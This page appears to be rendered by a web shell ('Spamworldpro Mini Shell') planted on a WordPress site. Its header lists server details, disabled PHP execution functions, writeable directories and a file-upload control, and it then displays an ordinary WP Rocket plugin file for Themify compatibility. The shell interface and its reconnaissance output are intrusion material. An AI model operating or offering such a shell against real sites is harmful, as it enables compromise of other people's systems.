Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux pod-100823:apache2_74:v0.5.7 5.4.0-1138-gcp #147~18.04.1-Ubuntu SMP Mon Oct 7 21:46:26 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33.7
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
Directory :  /nas/content/live/attorneyexperi/wp-content/plugins/wp-rocket/inc/ThirdParty/Themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /nas/content/live/attorneyexperi/wp-content/plugins/wp-rocket/inc/ThirdParty/Themes/Themify.php
<?php
namespace WP_Rocket\ThirdParty\Themes;

use WP_Rocket\Admin\Options_Data;
use WP_Rocket\Event_Management\Subscriber_Interface;

class Themify implements Subscriber_Interface {
	/**
	 * WP Rocket options instance.
	 *
	 * @var Options_Data
	 */
	private $options;

	/**
	 * Instantiate the class.
	 *
	 * @param Options_Data $options WP Rocket options instance.
	 */
	public function __construct( Options_Data $options ) {
		$this->options = $options;
	}

	/**
	 * Returns an array of events that this subscriber wants to listen to.
	 *
	 * @return array
	 */
	public static function get_subscribed_events() {
		return [
			'after_switch_theme' => 'disabling_concat_on_theme',
			'update_option_' . rocket_get_constant( 'WP_ROCKET_SLUG', 'wp_rocket_settings' ) => [ 'disabling_concat_on_rucss', 10, 2 ],
			'themify_save_data'  => 'disable_concat_on_saving_data',
			'themify_dev_mode'   => 'maybe_enable_dev_mode',
		];
	}

	/**
	 * Change the value on change theme.
	 *
	 * @return void
	 */
	public function disabling_concat_on_theme() {
		$data = themify_get_data();

		$remove_unused_css = $this->options->get( 'remove_unused_css', false );

		if ( ! $remove_unused_css ) {
			$data = $this->maybe_disable( $data );
		}

		if ( $remove_unused_css ) {
			$data = $this->maybe_enable( $data );
		}

		themify_set_data( $data );
	}

	/**
	 * Disable concat on saving theme options.
	 *
	 * @param array $value theme options.
	 * @return array
	 */
	public function disable_concat_on_saving_data( $value ) {
		if ( ! $this->options->get( 'remove_unused_css', false ) ) {
			return $value;
		}

		return $this->maybe_enable( $value );
	}

	/**
	 * Disable concat on RUCSS enabled.
	 *
	 * @param array $old Old configurations.
	 * @param array $new New configurations.
	 *
	 * @return void
	 */
	public function disabling_concat_on_rucss( $old, $new ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.newFound

		if ( ! key_exists( 'remove_unused_css', $old ) || ! key_exists( 'remove_unused_css', $new ) || $old['remove_unused_css'] === $new['remove_unused_css'] ) {
			return;
		}

		$data = themify_get_data();

		if ( ! $new['remove_unused_css'] ) {
			$data = $this->maybe_disable( $data );
		}

		if ( $new['remove_unused_css'] ) {
			$data = $this->maybe_enable( $data );
		}

		themify_set_data( $data );
	}

	/**
	 * Maybe disable concate CSS.
	 *
	 * @param array $data Themify data.
	 *
	 * @return array
	 */
	protected function maybe_disable( array $data ): array {
		if ( key_exists( 'setting-dev-mode-concate', $data ) && ! $data['setting-dev-mode-concate'] && key_exists( 'setting-dev-mode', $data ) && ! $data['setting-dev-mode'] ) {
			return $data;
		}

		$data['setting-dev-mode-concate'] = false;
		$data['setting-dev-mode']         = false;

		return $data;
	}

	/**
	 * Maybe enable dev mode and concat.
	 *
	 * @param array $data Themify data.
	 *
	 * @return array
	 */
	protected function maybe_enable( array $data ): array {

		if ( key_exists( 'setting-dev-mode-concate', $data ) && $data['setting-dev-mode-concate'] && key_exists( 'setting-dev-mode', $data ) && $data['setting-dev-mode'] ) {
			return $data;
		}

		$data['setting-dev-mode']         = true;
		$data['setting-dev-mode-concate'] = true;

		return $data;
	}

	/**
	 * Enable the dev mode when RUCSS is activated.
	 *
	 * @param bool $is_enabled Is dev mode enabled.
	 * @return bool
	 */
	public function maybe_enable_dev_mode( $is_enabled ) {

		if ( $this->options->get( 'remove_unused_css', false ) ) {
			return true;
		}

		return $is_enabled;
	}
}

Spamworldpro Mini